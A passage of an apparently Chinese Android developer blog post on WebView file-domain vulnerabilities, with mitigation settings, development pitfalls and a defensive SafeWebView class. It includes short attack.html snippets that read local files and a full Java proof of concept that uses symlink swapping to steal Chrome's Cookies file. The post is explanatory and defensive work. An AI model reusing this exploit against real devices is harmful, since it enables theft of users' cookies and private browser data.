    ,此时经过这段代码就能够成功读取 /etc/hosts 的内容,最显著的例子就是 360 手机浏览器的早期 4.8 版本,因为未对 file 域作安全限制,恶意 APP 调用 360 浏览器加载本地的攻击页面(好比恶意 APP 释放到 sd 卡上的一个 html)后,就能够获取 360 手机浏览器下的全部私有数据,包括 webviewCookiesChromium.db 下的 Cookie 内容,可是若是设置为 false 时,上述脚本执行会致使以下错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件:

    I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
    requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html复制代码

    setAllowUniversalAccessFromFileURLs)

      经过此 API 能够设置是否容许经过 file url 加载的 Javascript 能够访问其余的源,包括其余的文件和 http,https 等其余的源。这个设置在 JELLY_BEAN 之前的版本默认是容许,在 JELLY_BEAN 及之后的版本中默认是禁止的。若是此设置是容许,则 setAllowFileAccessFromFileURLs 不起作用,此时修改 attack.html 的代码:

    <script>
    function loadXMLDoc() {
        var arm = "http://www.so.com";
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        xmlhttp.onreadystatechange=function() {
            //alert("status is"+xmlhttp.status);
            if (xmlhttp.readyState==4)
            {
                 console.log(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET",arm);
        xmlhttp.send(null);
    }
    loadXMLDoc();
    </script>复制代码

    当 AllowFileAccessFromFileURLs 为 true 时,上述 javascript 能够成功读取 www.so.com 的内容,但设置为 false 时,上述脚本执行会致使以下错误,表示浏览器禁止从 file url 中的 javascript 访问其余源的资源:

    I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
    load http://www.so.com/. Origin null is not allowed by
    Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html复制代码

    以上漏洞的初步解决方案

      经过以上的介绍,初步的方案是使用下面的代码来杜绝:

    setAllowFileAccess(true);                               //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);复制代码

    这样就可让 html 页面加载本地的 javascript,同时杜绝加载的 js 访问本地的文件或者读取其余的源,不是就 OK 了么,并且在 JELLY_BEAN(android 4.1) 版本以及以后不是都默认为 false 了么,其实否则,咱们继续往下看其余漏洞。

    使用符号连接跨源

      为了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都应该设置为禁止,在 JELLY_BEAN(android 4.1) 及之后的版本中这两项设置默认也是禁止的,可是即便把这两项都设置为 false,经过 file URL 加载的 javascript 仍然有方法访问其余的本地文件,经过符号连接攻击能够达到这一目的,前提是容许 file URL 执行 javascript。这一攻击能奏效的缘由是不管怎么限制 file 协议的同源检查,其 javascript 都应该能访问当前的文件,经过 javascript 的延时执行和将当前文件替换成指向其它文件的软连接就能够读取到被符号连接所指的文件,具体攻击步骤见 Chromium bug 144866,下面也贴出了代码和详解。由于 Chrome 最新版本默认禁用 file 协议,因此这一漏洞在最新版的 Chrome 中并不存在,Google 也并无修复它,可是大量使用 WebView 的应用和浏览器,都有可能受到此漏洞的影响,经过利用此漏洞,无特殊权限的恶意 APP 能够盗取浏览器的任意私有文件,包括但不限于 Cookie、保存的密码、收藏夹和历史记录,并能够将所盗取的文件上传到攻击者的服务器。下图为经过 file URL 读取某手机浏览器 Cookie 的截图:

    这里写图片描述


    截图将 Cookie alert 出来了,实际状况能够上传到服务器,攻击的详细代码以下所示:

    public class MainActivity extends AppCompatActivity {
        public final static String MY_PKG = "com.example.safewebview";
        public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
        public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
        public final static String TARGET_PKG = "com.android.chrome";
        public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
        public final static String HTML =
                "<body>" +
                        "<u>Wait a few seconds.</u>" +
                        "<script>" +
                        "var d = document;" +
                        "function doitjs() {" +
                        " var xhr = new XMLHttpRequest;" +
                        " xhr.onload = function() {" +
                        " var txt = xhr.responseText;" +
                        " d.body.appendChild(d.createTextNode(txt));" +
                        " alert(txt);" +
                        " };" +
                        " xhr.open('GET', d.URL);" +
                        " xhr.send(null);" +
                        "}" +
                        "setTimeout(doitjs, 8000);" +
                        "</script>" +
                        "</body>";
    
        @Override
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            doit();
        }
    
        public void doit() {
            try {
                // Create a malicious HTML
                cmdexec("mkdir " + MY_TMP_DIR);
                cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
                cmdexec("chmod -R 777 " + MY_TMP_DIR);
    
                Thread.sleep(1000);
    
                // Force Chrome to load the malicious HTML
                invokeChrome("file://" + HTML_PATH);
    
                Thread.sleep(4000);
    
                // Replace the HTML with a symlink to Chrome's Cookie file
                cmdexec("rm " + HTML_PATH);
                cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
            } catch (Exception e) {
            }
        }
    
        public void invokeChrome(String url) {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
            intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
            startActivity(intent);
        }
    
        public void cmdexec(String cmd) {
            try {
                String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
                Runtime.getRuntime().exec(tmp);
            } catch (Exception e) {
            }
        }
    }复制代码

    这就是使用符号连接跨源获取私有文件的代码,应该不难读懂,首先把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,而且修改该目录的权限,修改完成以后休眠 1s,让文件操做完成,完成以后经过系统的 Chrome 应用去打开这个 xx.html 文件,而后等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,而且使用 ln -s 命令为 Chrome 的 Cookie 文件建立软链接,注意,在这条命令执行以前 xx.html 是不存在的,执行完这条命令以后,就生成了这个文件,而且将 Cookie 文件连接到了 xx.html 上,因而就能够经过连接来访问 Chrome 的 Cookie 了。

    setJavaScriptEnabled)

      经过此 API 能够设置是否容许 WebView 使用 JavaScript,默认是不容许,但不少应用,包括移动浏览器为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置容许 WebView 执行 JavaScript,而又不会对不一样的协议区别对待,比较安全的实现是若是加载的 url 是 http 或 https 协议,则启用 JavaScript,若是是其它危险协议,好比是 file 协议,则禁用 JavaScript。若是是 file 协议,禁用 javascript 能够很大程度上减少跨源漏洞对 WebView 的威胁,可是此时禁用 JavaScript 的执行并不能彻底杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到 sd 卡中,因为 sd 卡中的文件全部应用均可以访问,因而能够经过构造一个 file URL 指向被攻击应用的私有文件,而后用此 URL 启动被攻击应用的 WebActivity,这样因为该 WebActivity 没法加载该文件,就会将该文件下载到 sd 卡下面,而后就能够从 sd 卡上读取这个文件了,固然这种应用比较少,这个也算是应用自身无心产生的一个漏洞吧。

    以上漏洞的解决方案

      针对 WebView 域控制不严格漏洞的安全建议以下:

    1. 对于不须要使用 file 协议的应用,禁用 file 协议;
    2. 对于须要使用 file 协议的应用,禁止 file 协议加载 JavaScript。
      因此两种解决办法,第一种相似 Chrome,直接禁止 file 协议:

    setAllowFileAccess(false);                              //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);复制代码

    第二种是根据不一样状况不一样处理(没法避免应用对于没法加载的页面下载到 sd 卡上这个漏洞):

    setAllowFileAccess(true);                             //设置为 false 将不能加载本地 html 文件
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    if (url.startsWith("file://") {
        setJavaScriptEnabled(false);
    } else {
        setJavaScriptEnabled(true);
    }复制代码

    开发中碰见的坑

      这里记录一下开发中遇到的一些坑和解决办法:

    loadData() 方法

      咱们能够经过使用 WebView.loadData(String data, String mimeType, String encoding)) 方法来加载一整个 HTML 页面的一小段内容,第一个就是咱们须要 WebView 展现的内容,第二个是咱们告诉 WebView 咱们展现内容的类型,通常,第三个是字节码,可是使用的时候,这里会有一些坑,咱们来看一个简单的例子:

    String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
    webView.loadData(html, "text/html", "UTF-8");复制代码

    这里的逻辑很简单,加载一个简单的富文本标签,咱们看看运行后的效果:

    这里写图片描述


    能够注意到这里显示成乱码了,但是明明已经指定了编码格式为 UTF-8 啊,但是这就是使用的坑,咱们须要将代码进行修改:

    String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
    webView.loadData(html, "text/html;charset=UTF-8", "null");复制代码

    咱们再来看看显示效果:

    这里写图片描述


    这样咱们就能够看到正确的内容了,Google 还指出,在咱们这种加载的方法下,咱们的 Data 数据里不能出现 ’#’, ‘%’, ‘\’ , ‘?’ 这四个字符,若是出现了咱们要用 %23, %25, %27, %3f 对应来替代,网上列举了未将特定字符转义过程当中遇到的异常现象:

    A)   %  会报找不到页面错误,页面全是乱码。
    B)   #  会让你的 goBack 失效,但 canGoBAck 是可使用的,因而就会产生返回按钮生效,但不能返回的状况。
    C)   \ 和 ?  在转换时,会报错,由于它会把 \ 看成转义符来使用,若是用两级转义,也不生效。复制代码

    咱们在使用 loadData() 时,就意味着须要把全部的非法字符所有转换掉,这样就会给运行速度带来很大的影响,由于在使用时,不少状况下页面 stytle 中会使用不少 '%' 号,页面的数据越多,运行的速度就会越慢。

    页面空白

      当 WebView 嵌套在 ScrollView 里面的时候,若是 WebView 先加载了一个高度很高的网页,而后加载了一个高度很低的网页,就会形成 WebView 的高度没法自适应,底部出现大量空白的状况出现,具体的能够看看我之前的博客:android ScollView 嵌套 WebView 底部空白,高度没法自适应解决

    内存泄漏

      WebView 的内存泄漏是一个比较大的问题,尤为是当加载的页面比较庞大的时候,解决方法网上也比较多,可是看状况大部分都不是能完全根治的,这里说一下 QQ 和微信的作法,每当打开一个 WebView 界面的时候,会开启一个新进程,在页面退出以后经过 System.exit(0) 关闭这个进程,这样就不会存在内存泄漏的问题了,具体的作法能够查看这篇博客:Android WebView Memory Leak WebView内存泄漏,里面也提供了另一种解决办法,感兴趣的能够去看一下。

    setBuiltInZoomControls 引发的 Crash

      当使用 mWebView.getSettings().setBuiltInZoomControls(true) 启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在 3.0 之上 4.4 系统之下不少手机会出现这种状况:若是图标自动消失前退出当前 Activity 的话,就会发生 ZoomButton 找不到依附的 Window 而形成程序崩溃,解决办法很简单就是在 Activity 的 onDestory 方法中调用 mWebView.setVisibility(View.GONE); 方法,手动将其隐藏,就不会崩溃了。

    后台没法释放 JS 致使耗电

      若是 WebView 加载的的 html 里有一些 JS 一直在执行好比动画之类的东西,若是此刻 WebView 挂在了后台,这些资源是不会被释放,用户也没法感知,致使一直占有 CPU 增长耗电量,若是遇到这种状况,在 onStop 和 onResume 里分别把 setJavaScriptEnabled() 给设置成 false 和 true 便可。

    源码

      来看看解决上述问题的 WebView 源码:

    public class SafeWebView extends WebView {
        private static final boolean DEBUG = true;
        private static final String VAR_ARG_PREFIX = "arg";
        private static final String MSG_PROMPT_HEADER = "MyApp:";
        /** * 对象名 */
        private static final String KEY_INTERFACE_NAME = "obj";
        /** * 函数名 */
        private static final String KEY_FUNCTION_NAME = "func";
        /** * 参数数组 */
        private static final String KEY_ARG_ARRAY = "args";
        /** * 要过滤的方法数组 */
        private static final String[] mFilterMethods = {
                "getClass",
                "hashCode",
                "notify",
                "notifyAll",
                "equals",
                "toString",
                "wait",
        };
    
        /** * 缓存addJavascriptInterface的注册对象 */
        private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
    
        /** * 缓存注入到JavaScript Context的js脚本 */
        private String mJsStringCache = null;
    
        public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
            super(context, attrs, defStyle);
            init();
        }
    
        public SafeWebView(Context context, AttributeSet attrs) {
            super(context, attrs);
            init();
        }
    
        public SafeWebView(Context context) {
            super(context);
            init();
        }
    
        /** * WebView 初始化,设置监听,删除部分Android默认注册的JS接口 */
        private void init() {
            setWebChromeClient(new WebChromeClientEx());
            setWebViewClient(new WebViewClientEx());
            safeSetting();
    
            removeUnSafeJavascriptImpl();
        }
    
        /** * 安全性设置 */
        private void safeSetting() {
            getSettings().setSavePassword(false);
            getSettings().setAllowFileAccess(false);//设置为 false 将不能加载本地 html 文件
            if (Build.VERSION.SDK_INT >= 16) {
                getSettings().setAllowFileAccessFromFileURLs(false);
                getSettings().setAllowUniversalAccessFromFileURLs(false);
            }
        }
    
        /** * 检查SDK版本是否 >= 3.0 (API 11) */
        private boolean hasHoneycomb() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
        }
    
        /** * 检查SDK版本是否 >= 4.2 (API 17) */
        private boolean hasJellyBeanMR1() {
            return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
        }
    
        /** * 3.0 ~ 4.2 之间的版本须要移除 Google 注入的几个对象 */
        @SuppressLint("NewApi")
        private boolean removeUnSafeJavascriptImpl() {
            if (hasHoneycomb() && !hasJellyBeanMR1()) {
                super.removeJavascriptInterface("searchBoxJavaBridge_");
                super.removeJavascriptInterface("accessibility");
                super.removeJavascriptInterface("accessibilityTraversal");
                return true;
            }
            return false;
        }
    
        @Override
        public void setWebViewClient(WebViewClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebViewClient(client);
            } else {
                if (client instanceof WebViewClientEx) {
                    super.setWebViewClient(client);
                } else if (client == null) {
                    super.setWebViewClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebViewClientEx\'");
                }
            }
        }
    
        @Override
        public void setWebChromeClient(WebChromeClient client) {
            if (hasJellyBeanMR1()) {
                super.setWebChromeClient(client);
            } else {
                if (client instanceof WebChromeClientEx) {
                    super.setWebChromeClient(client);
                } else if (client == null) {
                    super.setWebChromeClient(client);
                } else {
                    throw new IllegalArgumentException(
                            "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
                }
            }
        }
    
        /** * 若是版本大于 4.2,漏洞已经被解决,直接调用基类的 addJavascriptInterface * 若是版本小于 4.2,则使用map缓存待注入对象 */
        @SuppressLint("JavascriptInterface")
        @Override
        public void addJavascriptInterface(Object obj, String interfaceName) {
            if (TextUtils.isEmpty(interfaceName)) {
                return;
            }
    
            // 若是在4.2以上,直接调用基类的方法来注册
            if (hasJellyBeanMR1()) {
                super.addJavascriptInterface(obj, interfaceName);
            } else {
                mJsInterfaceMap.put(interfaceName, obj);
            }
        }
    
        /** * 删除待注入对象, * 若是版本为 4.2 以及 4.2 以上,则使用父类的removeJavascriptInterface。 * 若是版本小于 4.2,则从缓存 map 中删除注入对象 */
        @SuppressLint("NewApi")
        public void removeJavascriptInterface(String interfaceName) {
            if (hasJellyBeanMR1()) {
                super.removeJavascriptInterface(interfaceName);
            } else {
                mJsInterfaceMap.remove(interfaceName);
                //每次 remove 以后,都须要从新构造 JS 注入
                mJsStringCache = null;
                injectJavascriptInterfaces();
            }
        }
    
        /** * 若是 WebView 是 SafeWebView 类型,则向 JavaScript Context 注入对象,确保 WebView 是有安全机制的 */
        private void injectJavascriptInterfaces(WebView webView) {
            if (webView instanceof SafeWebView) {
                injectJavascriptInterfaces();
            }
        }
    
        /** * 注入咱们构造的 JS */
        private void injectJavascriptInterfaces() {
            if (!TextUtils.isEmpty(mJsStringCache)) {
                loadUrl(mJsStringCache);
                return;
            }
    
            mJsStringCache = genJavascriptInterfacesString();
            loadUrl(mJsStringCache);
        }
    
        /** * 根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2以前经过反射生成) */
        private String genJavascriptInterfacesString() {
            if (mJsInterfaceMap.size() == 0) {
                return null;
            }
    
            /* * 要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A * 若是这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,咱们是用反射的方法遍历 * 注入对象中的带有@JavaScripterInterface标注的方法 * * javascript:(function JsAddJavascriptInterface_(){ * if(typeof(window.XXX_js_interface_name)!='undefined'){ * console.log('window.XXX_js_interface_name is exist!!'); * }else{ * window.XXX_js_interface_name={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); * }, * }; * } * })() */
    
            Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
            //HEAD
            StringBuilder script = new StringBuilder();
            script.append("javascript:(function JsAddJavascriptInterface_(){");
    
            // 遍历待注入java对象,生成相应的js对象
            try {
                while (iterator.hasNext()) {
                    Map.Entry<String, Object> entry = iterator.next();
                    String interfaceName = entry.getKey();
                    Object obj = entry.getValue();
                    // 生成相应的js方法
                    createJsMethod(interfaceName, obj, script);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            // End
            script.append("})()");
            return script.toString();
        }
    
        /** * 根据待注入的java对象,生成js方法 * * @param interfaceName 对象名 * @param obj 待注入的java对象 * @param script js代码 */
        private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
            if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
                return;
            }
    
            Class<? extends Object> objClass = obj.getClass();
    
            script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
            if (DEBUG) {
                script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");
            }
    
            script.append("}else {");
            script.append(" window.").append(interfaceName).append("={");
    
            // 经过反射机制,添加java对象的方法
            Method[] methods = objClass.getMethods();
            for (Method method : methods) {
                String methodName = method.getName();
                // 过滤掉Object类的方法,包括getClass()方法,由于在Js中就是经过getClass()方法来获得Runtime实例
                if (filterMethods(methodName)) {
                    continue;
                }
    
                script.append(" ").append(methodName).append(":function(");
                // 添加方法的参数
                int argCount = method.getParameterTypes().length;
                if (argCount > 0) {
                    int maxCount = argCount - 1;
                    for (int i = 0; i < maxCount; ++i) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(argCount - 1);
                }
    
                script.append(") {");
    
                // Add implementation
                if (method.getReturnType() != void.class) {
                    script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
                } else {
                    script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");
                }
    
                // Begin JSON
                script.append("JSON.stringify({");
                script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
                script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
                script.append(KEY_ARG_ARRAY).append(":[");
                // 添加参数到JSON串中
                if (argCount > 0) {
                    int max = argCount - 1;
                    for (int i = 0; i < max; i++) {
                        script.append(VAR_ARG_PREFIX).append(i).append(",");
                    }
                    script.append(VAR_ARG_PREFIX).append(max);
                }
    
                // End JSON
                script.append("]})");
                // End prompt
                script.append(");");
                // End function
                script.append(" }, ");
            }
    
            // End of obj
            script.append(" };");
            // End of if or else
            script.append("}");
        }
    
        /** * 检查是不是被过滤的方法 */
        private boolean filterMethods(String methodName) {
            for (String method : mFilterMethods) {
                if (method.equals(methodName)) {
                    return true;
                }
            }
            return false;
        }
    
        /** * 利用反射,调用java对象的方法。 * <p> * 从缓存中取出key=interfaceName的java对象,并调用其methodName方法 * * @param result * @param interfaceName 对象名 * @param methodName 方法名 * @param args 参数列表 * @return */
        private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
    
            boolean succeed = false;
            final Object obj = mJsInterfaceMap.get(interfaceName);
            if (null == obj) {
                result.cancel();
                return false;
            }
    
            Class<?>[] parameterTypes = null;
            int count = 0;
            if (args != null) {
                count = args.length;
            }
    
            if (count > 0) {
                parameterTypes = new Class[count];
                for (int i = 0; i < count; ++i) {
                    parameterTypes[i] = getClassFromJsonObject(args[i]);
                }
            }
    
            try {
                Method method = obj.getClass().getMethod(methodName, parameterTypes);
                Object returnObj = method.invoke(obj, args); // 执行接口调用
                boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
                String returnValue = isVoid ? "" : returnObj.toString();
                result.confirm(returnValue); // 经过prompt返回调用结果
                succeed = true;
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return succeed;
        }
    
        /** * 解析出参数类型 * * @param obj * @return */
        private Class<?> getClassFromJsonObject(Object obj) {
            Class<?> cls = obj.getClass();
    
            // js对象只支持int boolean string三种类型
            if (cls == Integer.class) {
                cls = Integer.TYPE;
            } else if (cls == Boolean.class) {
                cls = Boolean.TYPE;
            } else {
                cls = String.class;
            }
    
            return cls;
        }
    
        /** * 解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["从JS中传递过来的文本!!!"]} * @param defaultValue * @param result * @return */
        private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            String prefix = MSG_PROMPT_HEADER;
            if (!message.startsWith(prefix)) {
                return false;
            }
    
            String jsonStr = message.substring(prefix.length());
            try {
                JSONObject jsonObj = new JSONObject(jsonStr);
                // 对象名称
                String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
                // 方法名称
                String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
                // 参数数组
                JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
                Object[] args = null;
                if (null != argsArray) {
                    int count = argsArray.length();
                    if (count > 0) {
                        args = new Object[count];
    
                        for (int i = 0; i < count; ++i) {
                            Object arg = argsArray.get(i);
                            if (!arg.toString().equals("null")) {
                                args[i] = arg;
                            } else {
                                args[i] = null;
                            }
                        }
                    }
                }
    
                if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                    return true;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return false;
        }
    
        private class WebChromeClientEx extends WebChromeClient {
            @Override
            public final void onProgressChanged(WebView view, int newProgress) {
                injectJavascriptInterfaces(view);
                super.onProgressChanged(view, newProgress);
            }
    
            @Override
            public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
                if (view instanceof SafeWebView) {
                    if (handleJsInterface(view, url, message, defaultValue, result)) {
                        return true;
                    }
                }
    
                return super.onJsPrompt(view, url, message, defaultValue, result);
            }
    
            @Override
            public final void onReceivedTitle(WebView view, String title) {
                injectJavascriptInterfaces(view);
            }
        }
    
        private class WebViewClientEx extends WebViewClient {
            @Override
            public void onLoadResource(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onLoadResource(view, url);
            }
    
            @Override
            public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
                injectJavascriptInterfaces(view);
                super.doUpdateVisitedHistory(view, url, isReload);
            }
    
            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                injectJavascriptInterfaces(view);
                super.onPageStarted(view, url, favicon);
            }
    
            @Override
            public void onPageFinished(WebView view, String url) {
                injectJavascriptInterfaces(view);
                super.onPageFinished(view, url);
            }
        }
    }复制代码

    这段代码基本是按照上面所描述的状况来写的,修复了上面提到的几个漏洞,这里再描述一下几个须要注意的点:

    • removeUnSafeJavascriptImpl :该函数用来在特定版本删除上面提到的几个 Google 注入的对象;
    • setWebViewClient 和 setWebChromeClient :重写这两个函数用来防止子类使用原生的 WebViewClient 和 WebChromeClient 致使失效;
    • 在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 几个方法里面调用 injectJavascriptInterfaces 方法来注入生成的 JS 代码;
    • genJavascriptInterfacesString 函数用来生成须要注入的 JS 代码,其中经过 filterMethods 方法过滤掉了上面提到的几个须要过滤的方法;
    • 注入完 JS 以后,Web 端就能够根据方法名调用对应终端注入的这段 JS 函数,而后调用到终端的 onJsPrompt 方法,经过 message 变量将信息传递过来,终端解析出对象、方法名和参数,最后经过反射的方法调用到 Native 层的代码,另外若是须要返回值,则能够经过 JsPromptResult 对象经过 confirm 函数将信息从 Native 层传递给 Web 端,这样就实现了一个完整的调用链。
      下载源码: github.com/zhaozepeng/…

    引用

    group.jobbole.com/26417/?utm_…
    blog.csdn.net/jiangwei091…
    blog.csdn.net/leehong2005…
    github.com/yushiwo/Web…
    blog.csdn.net/sk719887916…
    zhuanlan.zhihu.com/p/24202408
    github.com/lzyzsd/JsBr…
    www.jianshu.com/p/93cea79a2…
    www.codexiu.cn/android/blo…
    github.com/pedant/safe…
    blog.sina.com.cn/s/blog_777f…
    www.cnblogs.com/chaoyuehedy…
    blogs.360.cn/360mobile/2…
    my.oschina.net/zhibuji/blo…
    www.cnblogs.com/punkisnotde…

    相关文章
    相关标签/搜索